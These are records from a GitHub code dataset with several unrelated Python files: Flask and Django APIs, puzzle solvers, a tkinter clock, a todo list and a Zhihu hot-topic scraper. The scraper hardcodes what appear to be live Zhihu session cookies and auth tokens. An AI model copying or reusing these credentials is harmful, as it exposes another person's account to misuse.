responses = []\n emergencies = []\n facts = []\n for i, fact in enumerate(env.facts()):\n print(fact)\n if fact.template.name == 'Solution':\n fact_data = dict()\n fact_data['code'] = fact['code_error']\n fact_data['id_emergency'] = fact['id_emergency']\n fact_data['id_service'] = fact['id_service']\n fact_data['service'] = fact['name_service']\n fact_data['emergency'] = fact['name_emergency']\n responses.append(fact_data)\n facts.append(fact)\n if fact['code_error'] >= 0:\n for j, e_fact in enumerate(env.facts()):\n if e_fact.template.name == 'Emergency' and e_fact['id'] == fact['id_emergency']:\n emergencies.append(e_fact)\n\n for fact in facts:\n fact.retract()\n for emergency in emergencies:\n emergency.retract()\n env.run()\n\n return responses\n\n\ndef is_error_response(response):\n return response['code'] < 0\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"darkhorrow/emergency-services-app","sub_path":"api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6631,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"43522234584","text":"from flask_sqlalchemy import SQLAlchemy\n\ndb = SQLAlchemy()\n\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n email = db.Column(db.String(120), unique=True, nullable=False)\n password = db.Column(db.String(80), unique=False, nullable=False)\n is_active = db.Column(db.Boolean(), unique=False, nullable=False)\n\n def __repr__(self):\n return '' % self.username\n\n def serialize(self):\n return {\n \"id\": self.id,\n \"email\": self.email,\n # do not serialize the password, its a security breach\n }\n\nContact_Group_link = db.Table(\"links\",\n db.Column(\"id_contact\", db.Integer, db.ForeignKey(\"Contact.id\"), primary_key=True),\n db.Column(\"id_group\", db.Integer, db.ForeignKey(\"Group.id\"), primary_key=True)\n)\n\nclass Contact(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n full_name = db.Column(db.String(80), nullable=False)\n email = db.Column(db.String(80), nullable=False)\n address = db.Column(db.String(80))\n phone = db.Column(db.String(80))\n\n \n\n\n\n\n\nclass Group(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(80), nullable=False)\n contacts = db.relationship(\"Contact\", secondary=\"links\", lazy='subquery', backref = db.backref(\"groups\", lazy=True))\n","repo_name":"OmarElFakih/flask-contact-list-api","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"516034440","text":"from django.db.models import Q\nfrom django_filters import rest_framework as filters\n\nfrom accounts.models import InstructorProfile, StudentProfile\nfrom education.models import (\n Assignment,\n Course,\n Event,\n EventType,\n Grade,\n NonPeriodicEventDetails,\n PeriodicEventDetails,\n Solution,\n StudentGroup,\n Timetable,\n)\n\n\nclass CourseFilter(filters.FilterSet):\n instructors = filters.ModelMultipleChoiceFilter(\n label='Instructors',\n field_name='uuid',\n to_field_name='uuid',\n queryset=InstructorProfile.objects.all(),\n )\n\n student_groups = filters.ModelMultipleChoiceFilter(\n label='Student Groups',\n field_name='uuid',\n to_field_name='uuid',\n queryset=StudentGroup.objects.all(),\n )\n\n class Meta:\n model = Course\n fields = ('code', 'title', 'instructors', 'student_groups',)\n\n @property\n def qs(self):\n parent = super().qs\n user = getattr(self.request, 'user', None)\n\n if hasattr(user, 'user.studentprofile'):\n return parent.filter(student_groups__in=user.studentprofile.student_groups)\n if hasattr(user, 'user.instructorprofile'):\n return parent.filter(instructors=user.instructorprofile)\n return parent\n\n\nclass TimetableFilter(filters.FilterSet):\n course = filters.ModelChoiceFilter(\n label='Course',\n field_name='uuid',\n to_field_name='uuid',\n queryset=Course.objects.all(),\n )\n\n class Meta:\n model = Timetable\n fields = (\n 'code', 'title', 'course', 'course__code', 'course__title',\n 'start_date', 'end_date',\n )\n\n @property\n def qs(self):\n parent = super().qs\n user = getattr(self.request, 'user', None)\n\n if hasattr(user, 'user.studentprofile'):\n return parent.filter(course__student_groups__in=user.studentprofile.student_groups)\n if hasattr(user, 'user.instructorprofile'):\n return parent.filter(course__instructors=user.instructorprofile)\n return parent\n\n\nclass TimetableItemFilter(filters.FilterSet):\n timetable = filters.ModelChoiceFilter(\n label='Timetable',\n field_name='uuid',\n to_field_name='uuid',\n queryset=Timetable.objects.all(),\n )\n\n instructor = filters.ModelChoiceFilter(\n label='Instructor',\n field_name='uuid',\n to_field_name='uuid',\n queryset=InstructorProfile.objects.all(),\n )\n\n students = filters.ModelMultipleChoiceFilter(\n label='Students',\n field_name='uuid',\n to_field_name='uuid',\n queryset=StudentProfile.objects.all(),\n )\n\n class Meta:\n abstract = True\n fields = (\n 'title', 'timetable', 'instructor', 'students', 'start_time',\n 'end_time',\n )\n\n @property\n def qs(self):\n parent = super().qs\n user = getattr(self.request, 'user', None)\n\n if hasattr(user, 'user.studentprofile'):\n return parent.filter(students=user.studentprofile)\n if hasattr(user, 'user.instructorprofile'):\n return parent.filter(instructors=user.instructorprofile)\n return parent\n\n\nclass PeriodicTimetableItemFilter(TimetableItemFilter):\n class Meta:\n abstract = True\n fields = TimetableItemFilter.Meta.fields + ('weekday', 'repeat_type',)\n\n\nclass NonPeriodicTimetableItemFilter(TimetableItemFilter):\n class Meta:\n abstract = True\n fields = TimetableItemFilter.Meta.fields + ('date',)\n\n\nclass AssignmentFilter(NonPeriodicTimetableItemFilter):\n class Meta:\n model = Assignment\n fields = NonPeriodicTimetableItemFilter.Meta.fields + ()\n\n\nclass SolutionFilter(filters.FilterSet):\n assignment = filters.ModelChoiceFilter(\n label='Assignment',\n field_name='uuid',\n to_field_name='uuid',\n queryset=Assignment.objects.all(),\n )\n\n student = filters.ModelChoiceFilter(\n label='Student',\n field_name='uuid',\n to_field_name='uuid',\n queryset=StudentProfile.objects.all(),\n )\n\n class Meta:\n model = Solution\n fields = ('assignment', 'student', 'created_at',)\n\n @property\n def qs(self):\n parent = super().qs\n user = getattr(self.request, 'user', None)\n\n if hasattr(user, 'user.studentprofile'):\n return parent.filter(student=user.studentprofile)\n if hasattr(user, 'user.instructorprofile'):\n return parent.filter(assignment__instructor=user.instructorprofile)\n return parent\n\n\nclass GradeFilter(filters.FilterSet):\n solution = filters.ModelChoiceFilter(\n label='Solution',\n field_name='uuid',\n to_field_name='uuid',\n queryset=Solution.objects.all(),\n )\n\n instructor = filters.ModelChoiceFilter(\n label='Instructor',\n field_name='uuid',\n to_field_name='uuid',\n queryset=InstructorProfile.objects.all(),\n )\n\n class Meta:\n model = Grade\n fields = ('value', 'solution', 'instructor', 'created_at',)\n\n @property\n def qs(self):\n parent = super().qs\n user = getattr(self.request, 'user', None)\n\n if hasattr(user, 'user.studentprofile'):\n return parent.filter(solution__student=user.studentprofile)\n if hasattr(user, 'user.instructorprofile'):\n return parent.filter(instructor=user.instructorprofile)\n return parent\n\n\nclass EventFilter(filters.FilterSet):\n event_type = filters.ModelChoiceFilter(\n label='Event Type',\n field_name='uuid',\n to_field_name='uuid',\n queryset=EventType.objects.all(),\n )\n\n timetable = filters.ModelChoiceFilter(\n label='Timetable',\n field_name='uuid',\n to_field_name='uuid',\n queryset=Timetable.objects.all(),\n )\n\n @property\n def qs(self):\n parent = super().qs\n user = getattr(self.request, 'user', None)\n\n if hasattr(user, 'user.studentprofile'):\n return parent.filter(timetable__course__student_groups__in=user.studentprofile.student_groups)\n if hasattr(user, 'user.instructorprofile'):\n return parent.filter(timetable__course__instructors=user.instructorprofile)\n\n return parent\n\n class Meta:\n model = Event\n fields = (\n 'title', 'event_type', 'event_type__title', 'timetable',\n 'timetable__code',\n )\n","repo_name":"relidaar/lms-api","sub_path":"api/education/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":6470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20278834822","text":"'''\n 路由层\n\n'''\nfrom flask import request\nfrom flask_restx import Namespace, Resource\nfrom Test_pingtai.case_table.log_util import logger\nfrom Test_pingtai.server import api, db\nfrom Test_pingtai.service.testcasse_service import Testcase\n\ncase_ns = Namespace(\"case\", description=\"用例管理\")\n\n\n@case_ns.route(\"/\")\nclass TestCaseServer(Resource):\n\n get_parser = api.parser()\n get_parser.add_argument(\"case_id\", type=int, location=\"args\")\n '''\n 查找,\n '''\n @case_ns.expect(get_parser)\n def get(self):\n logger.info(f\"request header {request.headers}\")\n logger.info(\"get method\")\n logger.info(f\"request args:{request.args}\")\n case_id = request.args.get(\"case_id\")\n\n #调用service层的具体业务逻辑\n testcase = Testcase()\n datas = testcase.get(case_id)\n #响应内容\n return datas\n\n\n\n \"\"\"\n 这是在定义界面上输入的内容\n \"\"\"\n api_parser = api.parser()\n api_parser.add_argument(\"case_id\", type=int, required=True, location=\"json\")\n api_parser.add_argument(\"case_title\", type=str, required=True, location=\"json\")\n api_parser.add_argument(\"remark\", type=str, location=\"json\")\n\n\n '''\n 新增方法-post\n '''\n @case_ns.expect(api_parser)\n def post(self):\n # 输出日志信息\n logger.info(\"post method\")\n logger.info(f\"request params:{request.json}\")\n\n # 获取请求头中的json数据\n case_data = request.json\n case_id = case_data.get(\"case_id\")\n case_title = case_data.get(\"case_title\")\n remark = case_data.get(\"remark\")\n testcase = Testcase()\n datas = testcase.post(case_id=case_id,case_title=case_title,remark=remark)\n if datas:\n return {\"code\": 200, \"message\": \"添加成功\"}\n else:\n return {\"code\": 401, \"message\": \"ID已存在\"}\n\n\n\n update_parser = api.parser()\n update_parser.add_argument(\"case_id\", type=int, required=True, location=\"json\")\n update_parser.add_argument(\"case_title\", type=str, required=True, location=\"json\")\n update_parser.add_argument(\"remark\", type=str, location=\"json\")\n\n\n \"\"\"\n 修改方法\n \"\"\"\n @case_ns.expect(update_parser)\n def put(self):\n logger.info(\"put method\")\n # 获取请求头中的json数据\n case_data = request.json\n logger.info(f\"request params:{request.json}\")\n testcase = Testcase()\n exits = testcase.put(case_data)\n if exits:\n return {\"code\": 200, \"message\": f\"{case_data.get('case_id')} success change\"}\n else:\n return {\"code\": 4002, \"message\": \"id not found\"}\n\n\n\n\n delete_parser = api.parser()\n delete_parser.add_argument(\"case_id\", type=int, required=True, location=\"json\")\n '''\n 删除方法 \n '''\n\n @case_ns.expect(delete_parser)\n def delete(self):\n logger.info(\"delete method\")\n logger.info(f\"reuqest params:{request.json}\")\n\n # 获取请求头中的json数据\n case_data = request.json\n # 获取json中id值\n case_id = case_data.get(\"case_id\")\n\n if case_id:\n TestCase.query.filter_by(case_id=case_id).delete()\n\n # 提交数据库中\n db.session.commit()\n db.session.close()\n return {\"code\": 200, \"message\": \"delete success\"}\n else:\n\n return {\"code\": 402, \"message\": \"case 不存在\"}\n","repo_name":"tascdy-lyz/test_platform","sub_path":"router/testcase.py","file_name":"testcase.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"42209729692","text":"from sys import stdin\ninput = stdin.readline\n\n\ndef get_next(x, y):\n if y == M-1:\n return x+1, 0\n return x, y+1\n\n\ndef get_prev(x, y):\n if y == 0:\n return x-1, M-1\n return x, y-1\n\n\nN, M = map(int, input().split(\" \"))\n\narr = [[0]*M for _ in range(N)]\nsum_arr = [[0]*M for _ in range(N)]\nfor i in range(N):\n arr[i] = list(map(int, input().split(\" \")))\n for j in range(M):\n if i == 0 and j == 0:\n sum_arr[i][j] = arr[i][j]\n continue\n\n prev_coord = get_prev(i, j)\n sum_arr[i][j] = sum_arr[prev_coord[0]][prev_coord[1]] + arr[i][j]\n\nK = int(input())\nfor _ in range(K):\n # (i, j) ~ (x, y) 닫힌 구간의 합\n i, j, x, y = [d-1 for d in map(int, input().split(\" \"))]\n if i == 0 and j == 0:\n print(sum_arr[x][y])\n elif i == x and j == y :\n print(arr[i][j])\n else:\n result = (sum_arr[x][y] - sum_arr[x][get_prev(x, j)[1]]) + (sum_arr[i][y] - sum_arr[i][get_prev(i, j)[1]])\n print(result)\n\n\n","repo_name":"ssoso27/Smoothie2","sub_path":"pythAlgo/baekjoon/sum_of_2_dimen_array.py","file_name":"sum_of_2_dimen_array.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70123296747","text":"# import pygame\n# from color import Color\n\n\nclass Grid:\n ROWS: int = 9\n COLS: int = 9\n COLS_PER_BOX: int = COLS // 3\n ROWS_PER_BOX: int = ROWS // 3\n SENTINEL: int = 0\n VALUES: tuple[int, ...] = (1, 2, 3, 4, 5, 6, 7, 8, 9)\n\n\n def __init__(self, grid: list[list[int]]=[]) -> None:\n self.grid: list[list[int]] = [[Grid.SENTINEL] * Grid.COLS for _ in range(Grid.ROWS)]\n self.pencil_grid: list[list[set[int]]] = [[set() for _ in range(Grid.COLS)] for _ in range(Grid.ROWS)]\n self._rowValues: list[set[int]] = [set() for _ in range(Grid.ROWS)]\n self._colValues: list[set[int]] = [set() for _ in range(Grid.COLS)]\n self._boxValues: list[set[int]] = [set() for _ in range(Grid.COLS)]\n if grid:\n self._initialiseBoard(grid)\n\n\n def __repr__(self) -> str:\n result: list[str] = []\n for row in range(Grid.ROWS):\n if row > 0 and row % 3 == 0:\n # 1 2 3 | 4 5 6 | 7 8 9\n result.append(\"---------+---------+---------\")\n # 1 2 3 | 4 5 6 | 7 8 9\n resultRow = []\n for col in range(Grid.COLS):\n if col > 0 and col % 3 == 0:\n resultRow.append(\"|\")\n if self.grid[row][col] == 0:\n resultRow.append(\" \")\n else:\n resultRow.append(f\" {self.grid[row][col]} \")\n result.append(\"\".join(resultRow))\n return \"\\n\".join(result)\n\n\n def _initialiseBoard(self, grid: list[list[int]]) -> None:\n assert len(grid) == Grid.ROWS, \"incorrect number of rows in input\"\n for row in grid:\n assert len(row) == Grid.COLS, \"incorrect number of columns in input\"\n \n for row in range(Grid.ROWS):\n for col in range(Grid.COLS):\n value: int = grid[row][col]\n self.grid[row][col] = value\n if not value:\n continue\n # isInRow[row] is a set containing all the values in that row\n \n # checking if the board being created is actually valid before creating it\n boxNum: int = Grid.getBoxNum(row, col)\n assert (value not in self._rowValues[row] | \n self._colValues[col] | \n self._boxValues[boxNum]), \"unsolvable board created\"\n \n self.setGridValue(row, col, value)\n\n\n def _getNextEmptyCellCoordinates(self) -> tuple[int, int] | None:\n for row in range(Grid.ROWS):\n for col in range(Grid.COLS):\n if self.grid[row][col] == 0:\n return (row, col)\n return None\n\n @staticmethod\n def getBoxNum(row: int, col: int) -> int:\n return (row // 3) * 3 + (col // 3)\n\n\n def isValidAssignment(self, row: int, col: int, value: int) -> bool:\n boxNum = Grid.getBoxNum(row, col)\n return (row in range(Grid.ROWS) and col in range(Grid.COLS) and \n value in range(1, len(Grid.VALUES) + 1) and\n value not in (self._rowValues[row] | self._colValues[col] |\n self._boxValues[boxNum]))\n\n\n def _resetGridValue(self, row: int, col: int) -> None:\n value: int = self.grid[row][col]\n \n if value == Grid.SENTINEL:\n # if the value was already null then return\n return\n \n # removing the value from the grid\n self.grid[row][col] = Grid.SENTINEL\n \n # removing the value from the \n boxNum: int = Grid.getBoxNum(row, col)\n self._rowValues[row].discard(value)\n self._colValues[col].discard(value)\n self._boxValues[boxNum].discard(value)\n\n\n def setGridValue(self, row: int, col: int, value: int) -> None:\n assert self.isValidAssignment(row, col, value), \"invalid assignment\"\n \n self.grid[row][col] = value\n boxNum: int = Grid.getBoxNum(row, col)\n self._rowValues[row].add(value)\n self._colValues[col].add(value)\n self._boxValues[boxNum].add(value)\n\n\n def updatePencilValue(self, row: int, col: int, value: int) -> None:\n assert (row in range(Grid.ROWS) and col in range(Grid.COLS) and\n value in range(1, len(Grid.VALUES) + 1)), \"invalid assignment\"\n \n if value in self.pencil_grid[row][col]:\n # if this number was already present then remove it from the set\n self.pencil_grid[row][col].remove(value)\n else:\n # if this number was not present then add it to the set\n self.pencil_grid[row][col].add(value)\n\n\n def resetPencilValue(self, row: int, col: int) -> None:\n assert (row in range(Grid.ROWS) and col in range(Grid.COLS)), \"invalid coordinates\"\n self.pencil_grid[row][col].clear()\n\n\n def solve(self) -> bool:\n nextEmptyCell: tuple[int, int] | None = self._getNextEmptyCellCoordinates()\n if not nextEmptyCell:\n # if all cells have been filled and no empty cells then solving is complete\n return True\n \n # if there is an empty cell then unpack it\n row, col = nextEmptyCell\n \n for value in Grid.VALUES:\n # loop through all the possible values\n if not self.isValidAssignment(row, col, value):\n continue\n \n # if we can assing a value to this empty cell then assign it\n self.setGridValue(row, col, value)\n \n # now check for the remaining board\n if self.solve():\n return True\n \n # if the rest of the board was not solvable then undo this assignment\n self._resetGridValue(row, col)\n \n # if none of the values worked out then \n return False\n","repo_name":"Garth-brick/sudoku","sub_path":"grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":5898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34425439978","text":"# link : https://leetcode.com/problems/count-zero-request-servers/description/\n# author : Mohamed Ibrahim\nclass Solution:\n def countServers(self, n: int, logs: List[List[int]], x: int, queries: List[int]) -> List[int]:\n res, cnt = [0] * len(queries), Counter()\n i, j, used = 0, 0, 0\n logs.sort(key=lambda l : l[1])\n for [t, id] in sorted([t, id] for id, t in enumerate(queries)):\n while i < len(logs) and logs[i][1] <= t:\n cnt[logs[i][0]] += 1\n used += cnt[logs[i][0]] == 1\n i += 1\n while j < i and logs[j][1] < t - x:\n cnt[logs[j][0]] -= 1\n used -= cnt[logs[j][0]] == 0\n j += 1\n res[id] = n - used\n return res\n","repo_name":"M0hamedIbrahim1/-Data-Structure-Algorithms","sub_path":"Two Pointers/Problems/2747. Count Zero Request Servers.py","file_name":"2747. Count Zero Request Servers.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"23863319001","text":"# Sentence1: William I have to deliver practice 3 on 1st of July from 3:15 pm to 5 pm\n# Sentence2: William I have to deliver practice 3 on 2nd of July at 3:15 pm\n# Sentence3: on 3rd of july, William, I have to go to my parents house at half past four pm.\n\n#from asr import recording_voice, split_parts, Get_Event_Elements\nimport asr\n#from create_event import init_credentials, new_event\nimport create_event as ce\n\ndef main():\n # call scripts\n approved = False\n while not approved:\n string = asr.recording_voice()\n print(\"Is that what you said? (Y/n)\")\n if ('Y' or 'y') in input():\n approved = True\n \n eventContent, date, hour = asr.split_parts(string)\n \n summary, start_time, end_time = asr.Get_Event_Elements(eventContent, date, hour)\n\n #print(\"Summary:\",summary,\"\\n\")\n #print(\"Start time:\", start_time,\"\\n\")\n #print(\"End time:\",end_time,\"\\n\")\n\n ce.init_credentials()\n ce.new_event(start_time, summary, end_time)\n\n return True\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"EduardVergesFranch/AST_FinalProject_Baldi_Marti_Bausa_Cesc_Verges_Eduard","sub_path":"calendar_main.py","file_name":"calendar_main.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37124470302","text":"#Function to Find the longest Substring which has non repeating characters\n\ndef findLongestSub(s):\n left = 0\n right = 0\n m = {}\n length = len(s)\n answer = 0\n while left < length and right < length:\n element = s[right]\n if element in m:\n left = max(left, m[element])\n m[element] = right\n answer = max(answer, right - left+1)\n right = right + 1 \n return answer\n\ns = 'ababdhksoia'\n\nlen_sub = findLongestSub(s)\n\nif len_sub == -1:\n print('There was error with the code')\nelse:\n print('The length of longest substring is {}'.format(len_sub))","repo_name":"droidy12527/AlgorithmsInPythonandCpp","sub_path":"longestsubstringwithnorepeatingchars.py","file_name":"longestsubstringwithnorepeatingchars.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13031474546","text":"import math\nimport tkinter as tk\nimport time\n\nmy_w = tk.Tk()\n#my_w.tk.call('tk', 'scaling',200)\nwidth,height=410,410 # set the variables \nc_width,c_height=width-5,height-5 # canvas width height\nd=str(width)+\"x\"+str(height)\nmy_w.geometry(d) \nc1 = tk.Canvas(my_w, width=c_width, height=c_height,bg='lightgreen')\nc1.grid(row=0,column=0,padx=5,pady=5,columnspan=3)\ndial=c1.create_oval(10, 10, 400, 400,width=10,outline='#FF0000',fill='#FFFFFF')\nx,y=205,205 # center \nx1,y1,x2,y2=x,y,x,10 # second needle \ncenter=c1.create_oval(x-8,y-8,x+8,y+8,fill='#c0c0c0')\nr1=180 # dial lines for one minute \nr2=130 # for hour numbers before the lines \nin_degree = 0\nh=iter(['12','1','2','3','4','5','6','7','8','9','10','11'])\nfor i in range(0,60):\n in_radian = math.radians(in_degree) # converting to radian\n if(i%5==0): \n ratio=0.85 # Long marks ( lines )\n t1=x+r2*math.sin(in_radian) # coordinate to add text ( hour numbers )\n t2=x-r2*math.cos(in_radian) # coordinate to add text ( hour numbers )\n c1.create_text(t1,t2,fill='blue',font=\"Times 30 bold\",text=next(h)) # number added\n else:\n ratio=0.9 # small marks ( lines )\n \n x1=x+ratio*r1*math.sin(in_radian)\n y1=y-ratio*r1*math.cos(in_radian)\n x2=x+r1*math.sin(in_radian)\n y2=y-r1*math.cos(in_radian)\n c1.create_line(x1,y1,x2,y2,width=1) # draw the line for segment\n in_degree=in_degree+6 # increment for next segment\n\nmy_w.mainloop()","repo_name":"Wakorithegreat/inspire-in-stem","sub_path":"classes/analog.py","file_name":"analog.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6771341611","text":"import requests\nfrom requests.cookies import RequestsCookieJar\nfrom bs4 import BeautifulSoup\nfrom PIL import Image \nimport base64\nfrom time import sleep\nimport time\nimport hmac\nfrom hashlib import sha1\nimport json\nimport re\n\ndef simulate_login():\n session=requests.session()\n headers={\n 'user-agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0',\n }\n session.headers.update(headers)\n picture=None\n signature=None\n picture_url=None\n\n message=session.get(url='https://www.zhihu.com/api/v3/oauth/captcha?lang=en').json() \n print(message)\n if message['show_captcha'] == False:\n picture=''\n else:\n picture_url = session.put(url='https://www.zhihu.com/api/v3/oauth/captcha?lang=en').json()\n # 采用base64格式将验证码通过图片格式显示出来\n with open('captcha.jpg','wb') as f:\n f.write(base64.b64decode(picture_url['img_base64']))\n image=Image.open('captcha.jpg')\n image.show()\n picture=input('请输入验证码')\n sleep(2)\n message1=session.post(url='https://www.zhihu.com/api/v3/oauth/captcha?lang=en',data={'input_text':picture}).json() # post 验证码\n print(message1)\n\n a=hmac.new('d1b964811afb40118a12068ff74a12f4'.encode('utf-8'),digestmod=sha1)\n a.update('qaz7417417474741'.encode('utf-8'))\n a.update(b'c3cef7c66a1843f8b3a9e6a1e3160e20')\n a.update(b'com.zhihu.web')\n a.update(str(int(time.time()*1000)).encode())\n signature=a.hexdigest()\n\n data={\n 'client_id':'c3cef7c66a1843f8b3a9e6a1e3160e20',#'c3cef7c66a1843f8b3a9e6a1e3160e20',\n 'grant_type':'password',\n 'timestamp':str(int(time.time()*1000)),\n 'source':'com.zhihu.web',\n 'signature':signature,\n 'username':'xxxxxx@sina.com',\n 'password':'xxxxxxx',\n 'captcha':picture,\n 'lang':'en'\n }\n\n headers = {\n 'content-type':'application/x-www-form-urlencoded',\n 'x-zse-83':'3_2.0',\n }\n message=session.post(url='https://www.zhihu.com/api/v3/oauth/sign_in', headers=headers, data=data)\n message.encoding='utf-8'\n print(message.text)\n print(json.loads(message.text)['error']['message'])\n hot_page = session.get('https://www.zhihu.com/hot', headers=headers)\n return hot_page\n\n\nheaders = {\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n 'user-agent': ': Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36',\n 'cookie': '_zap=775904c7-650c-49cc-a58e-16f0801e92d5; d_c0=\"AFDu7XwQWBCPTljIztnS-_L2AyijmBAJj10=|1573567809\"; _xsrf=gr8hNhot8mvpKAYl2nOGxxxBSLluiZd6; Hm_lvt_98beee57fd2ef70ccdd5ca52b9740c49=1573026345,1573482896,1573537949,1573567912; capsion_ticket=\"2|1:0|10:1573570033|14:capsion_ticket|44:MjIzOWNjODM5MzBiNGIwYjg4MGY3NDc2NGFkOTk5ZTk=|4d7696b5a11b756bb78450c1b678b7ed04ffb85c2de46f0f95670d4f9f13d3ef\"; z_c0=\"2|1:0|10:1573570047|4:z_c0|92:Mi4xMXIzMkFRQUFBQUFBVU83dGZCQllFQ1lBQUFCZ0FsVk5feE80WGdCbnh0WGp5RXVpRXpoVzJuUldoQjIxUjZwQzZn|ad171eab66492267ef55551ebb067a7580d494083ee984729ef04285b8f93606\"; tgw_l7_route=116a747939468d99065d12a386ab1c5f; Hm_lpvt_98beee57fd2ef70ccdd5ca52b9740c49=1573610499; tst=h; tshl='\n}\ncookie_jar = RequestsCookieJar()\ncookie_jar.set(\"z_c0\", \"2|1:0|10:1573570047|4:z_c0|92:Mi4xMXIzMkFRQUFBQUFBVU83dGZCQllFQ1lBQUFCZ0FsVk5feE80WGdCbnh0WGp5RXVpRXpoVzJuUldoQjIxUjZwQzZn|ad171eab66492267ef55551ebb067a7580d494083ee984729ef04285b8f93606:FG=1\")\ndef use_cookies():\n hot_page = requests.get('https://www.zhihu.com/hot', headers=headers, cookies=cookie_jar)\n return hot_page\n \nget_answer_url = 'https://www.zhihu.com/api/v4/questions/{}/answers?include=data%5B%2A%5D.is_normal%2Cadmin_closed_comment%2Creward_info%2Cis_collapsed%2Cannotation_action%2Cannotation_detail%2Ccollapse_reason%2Cis_sticky%2Ccollapsed_by%2Csuggest_edit%2Ccomment_count%2Ccan_comment%2Ccontent%2Ceditable_content%2Cvoteup_count%2Creshipment_settings%2Ccomment_permission%2Ccreated_time%2Cupdated_time%2Creview_info%2Crelevant_info%2Cquestion%2Cexcerpt%2Crelationship.is_authorized%2Cis_author%2Cvoting%2Cis_thanked%2Cis_nothelp%2Cis_labeled%2Cis_recognized%2Cpaid_info%2Cpaid_info_content%3Bdata%5B%2A%5D.mark_infos%5B%2A%5D.url%3Bdata%5B%2A%5D.author.follower_count%2Cbadge%5B%2A%5D.topics&limit=5&offset={}&platform=desktop&sort_by=default'\n\nhot_page = use_cookies()\nhot_html = BeautifulSoup(hot_page.text, 'html.parser')\nhot_items = hot_html.find_all('section', 'HotItem')\nfor i, hot_item in enumerate(hot_items):\n question_url = hot_item.a['href']\n hot_name = hot_item.a['title']\n if not re.match(r'https://www.zhihu.com/question/(.*)', question_url):\n continue\n question_id = re.match(r'https://www.zhihu.com/question/(.*)', question_url).groups()[0]\n \n question_page = requests.get(question_url, headers=headers, cookies=cookie_jar)\n question_html = BeautifulSoup(question_page.text, 'html.parser')\n\n answers = []\n for offset in range(0, 46, 5):\n answer_res = requests.get(get_answer_url.format(question_id, offset), headers=headers)\n answers.extend(json.loads(answer_res.text)['data'])\n sleep(3)\n with open('zhihu_data/'+str(i)+'.json', 'w', encoding='utf-8') as file:\n file.write(json.dumps({'title': hot_name, 'answers': answers}, ensure_ascii=False))","repo_name":"APTX-4869-MDZZ/e-commerce-PJ","sub_path":"Crawler/zhihuCrawler.py","file_name":"zhihuCrawler.py","file_ext":"py","file_size_in_byte":5270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73572151786","text":"from ._eda_distribution import (\n cat_feature_report, num_feature_report, na_bar_plot, target_distribution_plot)\nfrom ._eda_datashift import area_plot, ridge_plot\n\n\ndef unsupported_calplot(*args, **kwargs):\n raise ImportError('Не установлен calplot. Нажми `pip install calplot`))')\n\n\ntry:\n import calplot\n have_calplot = True\nexcept ImportError:\n have_calplot = False\n\nif have_calplot:\n from ._eda_datashift import na_datashift\nelse:\n na_datashift = unsupported_calplot\n\n__all__ = [\n # distribution\n 'cat_feature_report',\n 'num_feature_report',\n 'na_bar_plot',\n 'target_distribution_plot',\n # data_shift\n 'area_plot',\n 'na_datashift',\n 'ridge_plot',\n]\n","repo_name":"mikhailmartin/my_ds_tools","sub_path":"eda/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6018249116","text":"todo_list=[]\n\ndef display_menu():\n print(\"Simple Todo list\")\n print(\"1- Display The TODO list\")\n print(\"2- Add items to TODO list\")\n print(\"3- Mark item as complete\")\n print(\"4- Mark item as incomplete\")\n print(\"5- Delete item\")\n print(\"6- Exit the Programme\")\n \ndef display_list():\n \n for item in todo_list:\n task_number=1\n task_name=item[0]\n task_status=item[1]\n print(f\"{task_number} | {task_name} | {task_status}\")\n task_number+=1\n\ndef add_item(task):\n todo_list.append(task)\n \ndef change_task_status(task_number,task_status):\n task=todo_list[task_number-1]\n completed_task=(task[0],task_status)\n todo_list[task_number-1]=completed_task\n \n \n\nwhile True:\n display_menu()\n choice=int(input(\"Please enter your choice :\"))\n if choice==1:\n display_list()\n elif choice==2:\n item_name=input(\"Enter the Task name :\")\n is_complete=False\n task=(item_name, is_complete)\n add_item(task)\n elif choice==3:\n task_number=int(input(\"Enter the task number to complete :\"))\n change_task_status(task_number,True)\n elif choice==4:\n task_number=int(input(\"Enter the task number to incomplete :\"))\n change_task_status(task_number,False)\n \n \n \n \n \n \n \n 